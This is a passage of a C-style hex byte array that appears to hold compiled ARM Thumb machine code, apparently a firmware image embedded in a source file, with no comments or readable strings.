0x20u, 0x00u, 0xffu, 0xf7u, 0x1du, 0xfdu, 0x06u, 0x28u, 0xfau, 0xd8u, 0x03u, 0x4bu, 0x04u, 0x4au, 0x1bu, 0x68u,
0xdbu, 0x68u, 0xe3u, 0x18u, 0x1au, 0x60u, 0xb3u, 0xe7u, 0x38u, 0x05u, 0x00u, 0x08u, 0x10u, 0x10u, 0x00u, 0x66u,
0x10u, 0x10u, 0x00u, 0x67u, 0x02u, 0x00u, 0x00u, 0x23u, 0x10u, 0xb5u, 0x0fu, 0x32u, 0x44u, 0x1eu, 0x11u, 0x78u,
0x01u, 0x3au, 0x49u, 0x00u, 0x0bu, 0x43u, 0x53u, 0x70u, 0x1bu, 0x0au, 0x94u, 0x42u, 0xf7u, 0xd1u, 0x00u, 0x2bu,
0x04u, 0xd0u, 0x79u, 0x23u, 0xc2u, 0x7bu, 0x5bu, 0x42u, 0x53u, 0x40u, 0xc3u, 0x73u, 0x10u, 0xbdu, 0xf7u, 0xb5u,
0x05u, 0x00u, 0x0fu, 0x00u, 0x96u, 0x68u, 0x54u, 0x68u, 0x31u, 0x00u, 0x10u, 0x23u, 0x00u, 0x22u, 0x03u, 0xf0u,
0x6fu, 0xf9u, 0x39u, 0x00u, 0x28u, 0x00u, 0x00u, 0x96u, 0x23u, 0x00u, 0x00u, 0x22u, 0xffu, 0xf7u, 0x24u, 0xfbu,
0x20u, 0x00u, 0xffu, 0xf7u, 0xd7u, 0xffu, 0xf7u, 0xbdu, 0xf0u, 0xb5u, 0x85u, 0xb0u, 0x03u, 0x93u, 0x93u, 0x68u,
0x16u, 0x68u, 0x02u, 0x93u, 0x0fu, 0x00u, 0x10u, 0x23u, 0x00u, 0x22u, 0x02u, 0x99u, 0x05u, 0x00u, 0x03u, 0xf0u,
0x57u, 0xf9u, 0x0au, 0x9cu, 0x03u, 0x9bu, 0x0au, 0x9au, 0x9au, 0x18u, 0x12u, 0x1bu, 0x10u, 0x2cu, 0x07u, 0xd8u,
0xbcu, 0x60u, 0xa3u, 0xb2u, 0x31u, 0x00u, 0x28u, 0x00u, 0x03u, 0xf0u, 0x2cu, 0xf9u, 0x05u, 0xb0u, 0xf0u, 0xbdu,
0x10u, 0x23u, 0x31u, 0x00u, 0x28u, 0x00u, 0x03u, 0xf0u, 0x25u, 0xf9u, 0x02u, 0x9bu, 0x32u, 0x00u, 0x00u, 0x93u,
0x39u, 0x00u, 0x33u, 0x00u, 0x28u, 0x00u, 0xffu, 0xf7u, 0x1fu, 0xfbu, 0x00u, 0x96u, 0x02u, 0x9bu, 0x00u, 0x22u,
0x39u, 0x00u, 0x28u, 0x00u, 0xffu, 0xf7u, 0xf0u, 0xfau, 0x10u, 0x3cu, 0xdbu, 0xe7u, 0xf0u, 0xb5u, 0x87u, 0xb0u,
0x05u, 0x93u, 0x93u, 0x68u, 0x8cu, 0x68u, 0x03u, 0x93u, 0x53u, 0x68u, 0x06u, 0x00u, 0x0fu, 0x00u, 0x15u, 0x68u,
0x04u, 0x93u, 0x0fu, 0x2cu, 0x0du, 0xd8u, 0x18u, 0x00u, 0xffu, 0xf7u, 0x94u, 0xffu, 0x80u, 0x23u, 0x2bu, 0x55u,
0x71u, 0x3bu, 0x1bu, 0x1bu, 0x61u, 0x1cu, 0x9bu, 0xb2u, 0x69u, 0x18u, 0x00u, 0x22u, 0x30u, 0x00u, 0x03u, 0xf0u,
0x17u, 0xf9u, 0x03u, 0x9bu, 0x2au, 0x00u, 0x00u, 0x93u, 0x39u, 0x00u, 0x2bu, 0x00u, 0x30u, 0x00u, 0xffu, 0xf7u,
0xf3u, 0xfau, 0x04u, 0x9bu, 0x2au, 0x00u, 0x00u, 0x93u, 0x39u, 0x00u, 0x2bu, 0x00u, 0x30u, 0x00u, 0xffu, 0xf7u,
0xebu, 0xfau, 0x03u, 0x9bu, 0x39u, 0x00u, 0x30u, 0x00u, 0x00u, 0x95u, 0x00u, 0x22u, 0xffu, 0xf7u, 0xbcu, 0xfau,
0x10u, 0x23u, 0x03u, 0x9au, 0x05u, 0x99u, 0x30u, 0x00u, 0x03u, 0xf0u, 0xdcu, 0xf8u, 0x07u, 0xb0u, 0xf0u, 0xbdu,
0xf0u, 0xb5u, 0x85u, 0xb0u, 0x02u, 0x91u, 0x19u, 0x00u, 0x0au, 0xabu, 0x17u, 0x00u, 0x1au, 0x78u, 0x1au, 0x4bu,
0x05u, 0x00u, 0x1bu, 0x68u, 0x00u, 0x2bu, 0x07u, 0xd1u, 0x00u, 0x93u, 0x0cu, 0x9bu, 0xffu, 0xf7u, 0xf0u, 0xfau,
0x80u, 0x22u, 0xa0u, 0x23u, 0x1au, 0x60u, 0xffu, 0xdeu, 0x9bu, 0x6bu, 0xc3u, 0x18u, 0x1cu, 0x68u, 0x23u, 0x00u,
0x70u, 0x33u, 0x03u, 0x93u, 0x00u, 0x94u, 0x0cu, 0x9bu, 0xffu, 0xf7u, 0xe2u, 0xfau, 0x26u, 0x00u, 0x23u, 0x00u,
0xa0u, 0x36u, 0x80u, 0x33u, 0x33u, 0x60u, 0x03u, 0x9bu, 0x90u, 0x34u, 0x73u, 0x60u, 0x32u, 0x00u, 0x0cu, 0x99u,
0x28u, 0x00u, 0xb4u, 0x60u, 0xffu, 0xf7u, 0x53u, 0xffu, 0x02u, 0x9bu, 0x32u, 0x00u, 0x0cu, 0x99u, 0x28u, 0x00u,
0x00u, 0x97u, 0xffu, 0xf7u, 0x61u, 0xffu, 0x28u, 0x00u, 0x0bu, 0x9bu, 0x32u, 0x00u, 0x0cu, 0x99u, 0xffu, 0xf7u,
0x8du, 0xffu, 0x00u, 0x20u, 0x05u, 0xb0u, 0xf0u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u, 0x03u, 0x4bu, 0x1bu, 0x68u,
0x9bu, 0x68u, 0xc0u, 0x18u, 0x0fu, 0x23u, 0x00u, 0x68u, 0x18u, 0x40u, 0x70u, 0x47u, 0x38u, 0x05u, 0x00u, 0x08u,
0x10u, 0xb5u, 0x04u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xf1u, 0xffu, 0x06u, 0x28u, 0xfau, 0xd8u, 0x04u, 0x4bu,
0x1bu, 0x68u, 0xdbu, 0x68u, 0xe4u, 0x18u, 0xa0u, 0x23u, 0xdbu, 0x05u, 0x23u, 0x60u, 0x10u, 0xbdu, 0xc0u, 0x46u,
0x38u, 0x05u, 0x00u, 0x08u, 0x02u, 0x00u, 0x00u, 0x23u, 0x10u, 0xb5u, 0x0fu, 0x32u, 0x44u, 0x1eu, 0x11u, 0x78u,
0x01u, 0x3au, 0x49u, 0x00u, 0x0bu, 0x43u, 0x53u, 0x70u, 0x1bu, 0x0au, 0x94u, 0x42u, 0xf7u, 0xd1u, 0x00u, 0x2bu,
0x04u, 0xd0u, 0x79u, 0x23u, 0xc2u, 0x7bu, 0x5bu, 0x42u, 0x53u, 0x40u, 0xc3u, 0x73u, 0x10u, 0xbdu, 0x00u, 0x00u,
0x70u, 0xb5u, 0x04u, 0x00u, 0x0eu, 0x00u, 0x15u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xc7u, 0xffu, 0x04u, 0x28u,
0xfau, 0xd8u, 0x86u, 0x22u, 0x52u, 0x01u, 0xa3u, 0x58u, 0x00u, 0x2bu, 0xfcu, 0xdbu, 0x06u, 0x4bu, 0x07u, 0x49u,
0x1bu, 0x68u, 0xdau, 0x68u, 0xa2u, 0x18u, 0x11u, 0x60u, 0xdau, 0x68u, 0xa2u, 0x18u, 0x16u, 0x60u, 0xdbu, 0x68u,
0xe4u, 0x18u, 0x25u, 0x60u, 0x70u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u, 0x08u, 0x00u, 0x00u, 0x71u,
0x70u, 0xb5u, 0x04u, 0x00u, 0x0du, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xa8u, 0xffu, 0x04u, 0x28u, 0xfau, 0xd8u,
0x06u, 0x4bu, 0x07u, 0x49u, 0x1bu, 0x68u, 0xdau, 0x68u, 0xa2u, 0x18u, 0x11u, 0x60u, 0xdau, 0x68u, 0xa2u, 0x18u,
0x15u, 0x60u, 0xdbu, 0x68u, 0xe4u, 0x18u, 0x10u, 0x23u, 0x23u, 0x60u, 0x70u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u,
0x0cu, 0x00u, 0x00u, 0x70u, 0x00u, 0x23u, 0x70u, 0xb5u, 0x04u, 0x00u, 0x0eu, 0x00u, 0x0bu, 0x60u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x8cu, 0xffu, 0x06u, 0x28u, 0xfau, 0xd8u, 0x14u, 0x4du, 0x15u, 0x4au, 0x2bu, 0x68u, 0x20u, 0x00u,
0xdbu, 0x68u, 0xe3u, 0x18u, 0x1au, 0x60u, 0xffu, 0xf7u, 0x8bu, 0xffu, 0x71u, 0x68u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xcfu, 0xffu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x7au, 0xffu, 0x06u, 0x28u, 0xfau, 0xd8u, 0x2au, 0x68u, 0x0du, 0x49u,
0xd3u, 0x68u, 0xe3u, 0x18u, 0x19u, 0x60u, 0x13u, 0x68u, 0xe3u, 0x18u, 0x1au, 0x68u, 0x00u, 0x2au, 0xfcu, 0xd1u,
0x70u, 0x68u, 0xffu, 0xf7u, 0x87u, 0xffu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x68u, 0xffu, 0x06u, 0x28u, 0xfau, 0xd8u,
0x2bu, 0x68u, 0xdbu, 0x68u, 0xe4u, 0x18u, 0x04u, 0x4bu, 0x23u, 0x60u, 0x70u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u,
0x00u, 0x00u, 0x10u, 0x41u, 0x01u, 0xc0u, 0x10u, 0x40u, 0x11u, 0x10u, 0x10u, 0x41u, 0x70u, 0xb5u, 0x0eu, 0x00u,
0x11u, 0x00u, 0x32u, 0x68u, 0x05u, 0x00u, 0x9cu, 0x18u, 0x1au, 0x00u, 0xffu, 0xf7u, 0x81u, 0xffu, 0x10u, 0x2cu,
0x01u, 0xd8u, 0x34u, 0x60u, 0x70u, 0xbdu, 0x28u, 0x00u, 0xffu, 0xf7u, 0x48u, 0xffu, 0x06u, 0x28u, 0xfau, 0xd8u,
0x05u, 0x4bu, 0x06u, 0x4au, 0x1bu, 0x68u, 0x28u, 0x00u, 0xdbu, 0x68u, 0x10u, 0x3cu, 0xebu, 0x18u, 0x1au, 0x60u,
0xffu, 0xf7u, 0x46u, 0xffu, 0xebu, 0xe7u, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u, 0x18u, 0x00u, 0x10u, 0x41u,
0xf0u, 0xb5u, 0x10u, 0x25u, 0x87u, 0xb0u, 0x0fu, 0x00u, 0x04u, 0x00u, 0x01u, 0x92u, 0x00u, 0x21u, 0x2au, 0x00u,
0x02u, 0xa8u, 0x05u, 0xf0u, 0x0cu, 0xffu, 0x80u, 0x23u, 0x7eu, 0x68u, 0x3fu, 0x68u, 0x02u, 0xaau, 0x13u, 0x70u,
0x02u, 0xa9u, 0xeau, 0x1bu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x53u, 0xffu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x1eu, 0xffu,
0x06u, 0x28u, 0xfau, 0xd8u, 0x18u, 0x4du, 0x19u, 0x4au, 0x2bu, 0x68u, 0xdbu, 0x68u, 0xe3u, 0x18u, 0x1au, 0x60u,
0x0fu, 0x2fu, 0x02u, 0xd8u, 0x30u, 0x00u, 0xffu, 0xf7u, 0x2du, 0xffu, 0x10u, 0x22u, 0x31u, 0x00u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x3eu, 0xffu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x09u, 0xffu, 0x06u, 0x28u, 0xfau, 0xd8u, 0x2bu, 0x68u,
0x0fu, 0x4au, 0xdbu, 0x68u, 0x20u, 0x00u, 0xe3u, 0x18u, 0x1au, 0x60u, 0xffu, 0xf7u, 0x09u, 0xffu, 0x01u, 0x99u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x4du, 0xffu, 0x20u, 0x00u, 0xffu, 0xf7u, 0xf8u, 0xfeu, 0x06u, 0x28u, 0xfau, 0xd8u,
0x2au, 0x68u, 0x08u, 0x49u, 0xd3u, 0x68u, 0xe3u, 0x18u, 0x19u, 0x60u, 0x13u, 0x68u, 0xe4u, 0x18u, 0x23u, 0x68u,
0x00u, 0x2bu, 0xfcu, 0xd1u, 0x07u, 0xb0u, 0xf0u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u, 0x18u, 0x00u, 0x10u, 0x41u,
0x08u, 0x00u, 0x10u, 0x41u, 0x01u, 0xc0u, 0x10u, 0x40u, 0xf0u, 0xb5u, 0x04u, 0x00u, 0x1eu, 0x00u, 0xa7u, 0xb0u,
0x2cu, 0xabu, 0x0au, 0xadu, 0x1fu, 0x78u, 0x02u, 0x91u, 0x03u, 0x92u, 0x00u, 0x21u, 0x70u, 0x22u, 0x28u, 0x00u,
0x05u, 0xf0u, 0xb5u, 0xfeu, 0x18u, 0x22u, 0x00u, 0x21u, 0x04u, 0xa8u, 0x05u, 0xf0u, 0xb0u, 0xfeu, 0x3au, 0x00u,
0x2eu, 0x9bu, 0x31u, 0x00u, 0x00u, 0x95u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xf3u, 0xfbu, 0x2eu, 0x99u, 0x20u, 0x00u,
0xffu, 0xf7u, 0xaau, 0xfbu, 0x06u, 0xabu, 0x04u, 0xa9u, 0x20u, 0x00u, 0x05u, 0x93u, 0xffu, 0xf7u, 0x2au, 0xffu,
0x03u, 0x9bu, 0x02u, 0x9au, 0x04u, 0xa9u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x60u, 0xffu, 0x20u, 0x00u, 0x2du, 0x9au,
0x04u, 0xa9u, 0xffu, 0xf7u, 0x7du, 0xffu, 0x00u, 0x20u, 0x27u, 0xb0u, 0xf0u, 0xbdu, 0xf0u, 0xb5u, 0x80u, 0x27u,
0x0cu, 0x4cu, 0x7fu, 0x00u, 0x25u, 0x68u, 0xdbu, 0xb2u, 0x2cu, 0x6au, 0x06u, 0x19u, 0x05u, 0x9cu, 0x24u, 0x02u,
0x3cu, 0x40u, 0xffu, 0x3fu, 0x3au, 0x40u, 0x22u, 0x43u, 0x32u, 0x60u, 0x6au, 0x6au, 0x82u, 0x18u, 0x13u, 0x60u,
0xabu, 0x6au, 0xc3u, 0x18u, 0x19u, 0x60u, 0xebu, 0x6au, 0xc0u, 0x18u, 0x06u, 0x9bu, 0x03u, 0x60u, 0x00u, 0x20u,
0xf0u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u, 0x70u, 0xb5u, 0x0du, 0x00u, 0x11u, 0x00u, 0x86u, 0x22u,
0x04u, 0x00u, 0x04u, 0x98u, 0xd2u, 0x00u, 0xa0u, 0x50u, 0x1au, 0x00u, 0x20u, 0x00u, 0x02u, 0xf0u, 0x68u, 0xfeu,
0x04u, 0x23u, 0x00u, 0x22u, 0x58u, 0x21u, 0x20u, 0x00u, 0x02u, 0xf0u, 0xceu, 0xfeu, 0x08u, 0x21u, 0x06u, 0x4bu,
0x1au, 0x68u, 0x13u, 0x68u, 0xe3u, 0x18u, 0x18u, 0x68u, 0x08u, 0x40u, 0xfcu, 0xd1u, 0x13u, 0x6bu, 0xe4u, 0x18u,
0x23u, 0x68u, 0x2bu, 0x60u, 0x70u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u, 0x03u, 0x4bu, 0x1bu, 0x68u,
0x1bu, 0x68u, 0xc0u, 0x18u, 0x03u, 0x68u, 0x00u, 0x2bu, 0xfcu, 0xd1u, 0x70u, 0x47u, 0x38u, 0x05u, 0x00u, 0x08u,
0x70u, 0xb5u, 0x0fu, 0x26u, 0x09u, 0x4bu, 0x1bu, 0x68u, 0x9cu, 0x68u, 0x05u, 0x19u, 0x2cu, 0x68u, 0x34u, 0x40u,
0x04u, 0x2cu, 0xfbu, 0xd8u, 0xdcu, 0x68u, 0x06u, 0x4du, 0x04u, 0x19u, 0x25u, 0x60u, 0xdcu, 0x68u, 0x04u, 0x19u,
0x21u, 0x60u, 0xdbu, 0x68u, 0xc0u, 0x18u, 0x02u, 0x60u, 0x70u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u,
0x08u, 0x00u, 0x00u, 0x70u, 0x10u, 0xb5u, 0x0fu, 0x24u, 0x06u, 0x4bu, 0x19u, 0x68u, 0x8bu, 0x68u, 0xc2u, 0x18u,
0x13u, 0x68u, 0x23u, 0x40u, 0x06u, 0x2bu, 0xfbu, 0xd8u, 0xcbu, 0x68u, 0xc0u, 0x18u, 0xb0u, 0x23u, 0xdbu, 0x05u,
0x03u, 0x60u, 0x10u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u, 0xf0u, 0xb5u, 0x80u, 0x27u, 0x0cu, 0x4cu, 0x7fu, 0x00u,
0x25u, 0x68u, 0xdbu, 0xb2u, 0x2cu, 0x6au, 0x06u, 0x19u, 0x05u, 0x9cu, 0x24u, 0x02u, 0x3cu, 0x40u, 0xffu, 0x3fu,
0x3au, 0x40u, 0x22u, 0x43u, 0x32u, 0x60u, 0x6au, 0x6au, 0x82u, 0x18u, 0x13u, 0x60u, 0xabu, 0x6au, 0xc3u, 0x18u,
0x19u, 0x60u, 0xebu, 0x6au, 0xc0u, 0x18u, 0x06u, 0x9bu, 0x03u, 0x60u, 0x00u, 0x20u, 0xf0u, 0xbdu, 0xc0u, 0x46u,
0x38u, 0x05u, 0x00u, 0x08u, 0x70u, 0xb5u, 0x0du, 0x00u, 0x11u, 0x00u, 0x1au, 0x00u, 0x04u, 0x00u, 0xffu, 0xf7u,
0xafu, 0xffu, 0x8cu, 0x23u, 0x04u, 0x9au, 0x5bu, 0x01u, 0xe2u, 0x50u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xc2u, 0xffu,
0x20u, 0x00u, 0xffu, 0xf7u, 0x9bu, 0xffu, 0x04u, 0x4bu, 0x00u, 0x20u, 0x1bu, 0x68u, 0x1bu, 0x6bu, 0xe4u, 0x18u,
0x23u, 0x68u, 0x2bu, 0x60u, 0x70u, 0xbdu, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u, 0x7fu, 0xb5u, 0x0du, 0x00u,
0x19u, 0x00u, 0x0eu, 0x4bu, 0x16u, 0x00u, 0x03u, 0x93u, 0x09u, 0x9au, 0x08u, 0x9bu, 0x04u, 0x00u, 0x02u, 0xf0u,
0xf1u, 0xfdu, 0x03u, 0xabu, 0x69u, 0x00u, 0x59u, 0x18u, 0x08u, 0x23u, 0x89u, 0x5du, 0x20u, 0x00u, 0x00u, 0x93u,
0x00u, 0x22u, 0x04u, 0x3bu, 0x02u, 0xf0u, 0x4eu, 0xfeu, 0x05u, 0x4bu, 0x1bu, 0x68u, 0x1bu, 0x68u, 0xe4u, 0x18u,
0x02u, 0x23u, 0x22u, 0x68u, 0x1au, 0x42u, 0xfcu, 0xd1u, 0x7fu, 0xbdu, 0xc0u, 0x46u, 0x70u, 0x71u, 0x72u, 0x73u,
0x38u, 0x05u, 0x00u, 0x08u, 0xf0u, 0xb5u, 0x87u, 0xb0u, 0x05u, 0x93u, 0x20u, 0x4bu, 0x05u, 0x00u, 0x1bu, 0x68u,
0x04u, 0x91u, 0x03u, 0x92u, 0x1fu, 0x1eu, 0x02u, 0xd0u, 0x9bu, 0x6bu, 0xc3u, 0x18u, 0x1fu, 0x68u, 0x00u, 0x26u,
0x1bu, 0x4bu, 0xf2u, 0x00u, 0xd2u, 0x18u, 0x03u, 0x99u, 0x08u, 0x23u, 0x28u, 0x00u, 0x02u, 0xf0u, 0x9cu, 0xfeu,
0x44u, 0x1eu, 0xa0u, 0x41u, 0x44u, 0x42u, 0x17u, 0x48u, 0x17u, 0x4bu, 0x04u, 0x40u, 0x01u, 0x36u, 0xe4u, 0x18u,
0x10u, 0x2eu, 0x01u, 0xd0u, 0x00u, 0x2cu, 0xebu, 0xd0u, 0x3bu, 0x00u, 0x3eu, 0x00u, 0x10u, 0x33u, 0x02u, 0x93u,
0x03u, 0x9au, 0x02u, 0x99u, 0x28u, 0x00u, 0x08u, 0x23u, 0x02u, 0xf0u, 0x4cu, 0xfeu, 0x08u, 0x36u, 0x0cu, 0x9au,
0x39u, 0x00u, 0x28u, 0x00u, 0x08u, 0x23u, 0x02u, 0xf0u, 0x45u, 0xfeu, 0x02u, 0x9bu, 0x04u, 0x9au, 0x28u, 0x00u,
0x01u, 0x97u, 0x00u, 0x96u, 0x00u, 0x21u, 0xffu, 0xf7u, 0xa1u, 0xffu, 0x28u, 0x00u, 0x08u, 0x23u, 0x32u, 0x00u,
0x05u, 0x99u, 0x02u, 0xf0u, 0x37u, 0xfeu, 0x20u, 0x00u, 0x07u, 0xb0u, 0xf0u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u,
0x78u, 0x6cu, 0x00u, 0x10u, 0xfdu, 0xffu, 0xceu, 0xffu, 0x03u, 0x00u, 0x31u, 0x00u, 0xf0u, 0xb5u, 0x89u, 0xb0u,
0x07u, 0x93u, 0x25u, 0x4bu, 0x04u, 0x00u, 0x1bu, 0x68u, 0x06u, 0x91u, 0x04u, 0x92u, 0x03u, 0x93u, 0x00u, 0x2bu,
0x03u, 0xd0u, 0x9bu, 0x6bu, 0xc3u, 0x18u, 0x1bu, 0x68u, 0x03u, 0x93u, 0x00u, 0x27u, 0x1fu, 0x4bu, 0x04u, 0x9du,
0xfeu, 0x00u, 0xf6u, 0x18u, 0x2bu, 0x00u, 0x10u, 0x33u, 0x05u, 0x93u, 0x08u, 0x23u, 0x32u, 0x00u, 0x29u, 0x00u,
0x20u, 0x00u, 0x02u, 0xf0u, 0x49u, 0xfeu, 0x00u, 0x28u, 0x2cu, 0xd0u, 0x05u, 0x9bu, 0x9du, 0x42u, 0x27u, 0xd1u,
0x00u, 0x25u, 0x01u, 0x37u, 0x10u, 0x2fu, 0x01u, 0xd0u, 0x00u, 0x2du, 0xe7u, 0xd0u, 0x03u, 0x9eu, 0x04u, 0x9au,
0x10u, 0x36u, 0x31u, 0x00u, 0x20u, 0x00u, 0x18u, 0x23u, 0x02u, 0xf0u, 0xfcu, 0xfdu, 0x0eu, 0x9au, 0x03u, 0x99u,
0x20u, 0x00u, 0x08u, 0x23u, 0x02u, 0xf0u, 0xf6u, 0xfdu, 0x03u, 0x9fu, 0x03u, 0x9bu, 0x08u, 0x37u, 0x01u, 0x93u,
0x06u, 0x9au, 0x33u, 0x00u, 0x20u, 0x00u, 0x00u, 0x97u, 0x01u, 0x21u, 0xffu, 0xf7u, 0x4fu, 0xffu, 0x20u, 0x00u,
0x08u, 0x23u, 0x3au, 0x00u, 0x07u, 0x99u, 0x02u, 0xf0u, 0xe5u, 0xfdu, 0x28u, 0x00u, 0x09u, 0xb0u, 0xf0u, 0xbdu,
0x08u, 0x35u, 0xcau, 0xe7u, 0x02u, 0x4du, 0xd4u, 0xe7u, 0x38u, 0x05u, 0x00u, 0x08u, 0x78u, 0x6cu, 0x00u, 0x10u,
0x03u, 0x00u, 0x31u, 0x00u, 0x70u, 0xb5u, 0x0fu, 0x26u, 0x0bu, 0x4bu, 0x1bu, 0x68u, 0x9cu, 0x68u, 0x05u, 0x19u,
0x2cu, 0x68u, 0x34u, 0x40u, 0x04u, 0x2cu, 0xfbu, 0xd8u, 0x86u, 0x25u, 0x6du, 0x01u, 0x44u, 0x59u, 0x00u, 0x2cu,
0xfcu, 0xdbu, 0xdcu, 0x68u, 0x05u, 0x4du, 0x04u, 0x19u, 0x25u, 0x60u, 0xdcu, 0x68u, 0x04u, 0x19u, 0x21u, 0x60u,
0xdbu, 0x68u, 0xc0u, 0x18u, 0x02u, 0x60u, 0x70u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u, 0x08u, 0x00u, 0x00u, 0x71u,
0x30u, 0xb5u, 0x0fu, 0x25u, 0x06u, 0x4bu, 0x1cu, 0x68u, 0xa3u, 0x68u, 0xc2u, 0x18u, 0x13u, 0x68u, 0x2bu, 0x40u,
0x06u, 0x2bu, 0xfbu, 0xd8u, 0xe3u, 0x68u, 0x09u, 0x06u, 0xc0u, 0x18u, 0x01u, 0x60u, 0x30u, 0xbdu, 0xc0u, 0x46u,
0x38u, 0x05u, 0x00u, 0x08u, 0xf0u, 0xb5u, 0x0fu, 0x27u, 0x09u, 0x4cu, 0x26u, 0x68u, 0xb4u, 0x68u, 0x05u, 0x19u,
0x2cu, 0x68u, 0x3cu, 0x40u, 0x06u, 0x2cu, 0xfbu, 0xd8u, 0xf4u, 0x68u, 0x09u, 0x03u, 0x00u, 0x19u, 0x80u, 0x24u,
0xe4u, 0x05u, 0x22u, 0x43u, 0x11u, 0x43u, 0x1bu, 0x04u, 0x19u, 0x43u, 0x01u, 0x60u, 0xf0u, 0xbdu, 0xc0u, 0x46u,
0x38u, 0x05u, 0x00u, 0x08u, 0x30u, 0xb5u, 0x0fu, 0x25u, 0x09u, 0x4bu, 0x1bu, 0x68u, 0x9au, 0x68u, 0x84u, 0x18u,
0x22u, 0x68u, 0x2au, 0x40u, 0x04u, 0x2au, 0xfbu, 0xd8u, 0xdau, 0x68u, 0x06u, 0x4cu, 0x82u, 0x18u, 0x14u, 0x60u,
0xdau, 0x68u, 0x82u, 0x18u, 0x11u, 0x60u, 0xdbu, 0x68u, 0xc0u, 0x18u, 0x08u, 0x23u, 0x03u, 0x60u, 0x30u, 0xbdu,
0x38u, 0x05u, 0x00u, 0x08u, 0x0cu, 0x00u, 0x00u, 0x70u, 0xf7u, 0xb5u, 0x04u, 0x00u, 0x16u, 0x00u, 0x1fu, 0x00u,
0x00u, 0x25u, 0x01u, 0x91u, 0x1cu, 0x4bu, 0xeau, 0x00u, 0xd2u, 0x18u, 0x31u, 0x00u, 0x08u, 0x23u, 0x20u, 0x00u,
0x02u, 0xf0u, 0xb2u, 0xfeu, 0x00u, 0x28u, 0x2cu, 0xd0u, 0x01u, 0x35u, 0x10u, 0x2du, 0xf2u, 0xd1u, 0x00u, 0x25u,
0x31u, 0x00u, 0x20u, 0x00u, 0x08u, 0x22u, 0xffu, 0xf7u, 0x85u, 0xffu, 0x08u, 0x23u, 0x20u, 0x00u, 0x1au, 0x00u,
0x04u, 0x21u, 0xffu, 0xf7u, 0xafu, 0xffu, 0x08u, 0x22u, 0x08u, 0x99u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x7au, 0xffu,
0x39u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xbeu, 0xffu, 0x08u, 0x23u, 0x20u, 0x00u, 0x1au, 0x00u, 0x00u, 0x21u,
0xffu, 0xf7u, 0xa0u, 0xffu, 0x01u, 0x99u, 0x20u, 0x00u, 0x4bu, 0x1eu, 0x99u, 0x41u, 0x52u, 0x31u, 0xffu, 0xf7u,
0x87u, 0xffu, 0x20u, 0x00u, 0x08u, 0x23u, 0x01u, 0x22u, 0x0cu, 0x21u, 0xffu, 0xf7u, 0x93u, 0xffu, 0x28u, 0x00u,
0xfeu, 0xbdu, 0x02u, 0x4du, 0xd4u, 0xe7u, 0xc0u, 0x46u, 0xf8u, 0x6cu, 0x00u, 0x10u, 0x03u, 0x00u, 0x31u, 0x00u,
0xf0u, 0xb5u, 0x04u, 0x00u, 0x00u, 0x27u, 0x85u, 0xb0u, 0x02u, 0x91u, 0x00u, 0x92u, 0x03u, 0x93u, 0x26u, 0x4bu,
0x00u, 0x9du, 0xfeu, 0x00u, 0xf6u, 0x18u, 0x2bu, 0x00u, 0x10u, 0x33u, 0x01u, 0x93u, 0x08u, 0x23u, 0x32u, 0x00u,
0x29u, 0x00u, 0x20u, 0x00u, 0x02u, 0xf0u, 0x68u, 0xfeu, 0x00u, 0x28u, 0x04u, 0xd0u, 0x01u, 0x9bu, 0x9du, 0x42u,
0x37u, 0xd1u, 0x00u, 0x25u, 0x00u, 0xe0u, 0x1du, 0x4du, 0x01u, 0x37u, 0x10u, 0x2fu, 0x01u, 0xd0u, 0x00u, 0x2du,
0xe5u, 0xd0u, 0x00u, 0x99u, 0x20u, 0x00u, 0x18u, 0x22u, 0xffu, 0xf7u, 0x34u, 0xffu, 0x20u, 0x00u, 0x10u, 0x23u,
0x08u, 0x22u, 0x04u, 0x21u, 0xffu, 0xf7u, 0x5eu, 0xffu, 0x08u, 0x23u, 0x20u, 0x00u, 0x1au, 0x00u, 0x05u, 0x21u,
0xffu, 0xf7u, 0x58u, 0xffu, 0x08u, 0x22u, 0x0au, 0x99u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x23u, 0xffu, 0x03u, 0x99u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x67u, 0xffu, 0x08u, 0x23u, 0x20u, 0x00u, 0x1au, 0x00u, 0x00u, 0x21u, 0xffu, 0xf7u,
0x49u, 0xffu, 0x02u, 0x99u, 0x20u, 0x00u, 0x4bu, 0x1eu, 0x99u, 0x41u, 0x54u, 0x31u, 0xffu, 0xf7u, 0x30u, 0xffu,
0x20u, 0x00u, 0x08u, 0x23u, 0x01u, 0x22u, 0x0cu, 0x21u, 0xffu, 0xf7u, 0x3cu, 0xffu, 0x28u, 0x00u, 0x05u, 0xb0u,
0xf0u, 0xbdu, 0x08u, 0x35u, 0xbau, 0xe7u, 0xc0u, 0x46u, 0xf8u, 0x6cu, 0x00u, 0x10u, 0x03u, 0x00u, 0x31u, 0x00u,
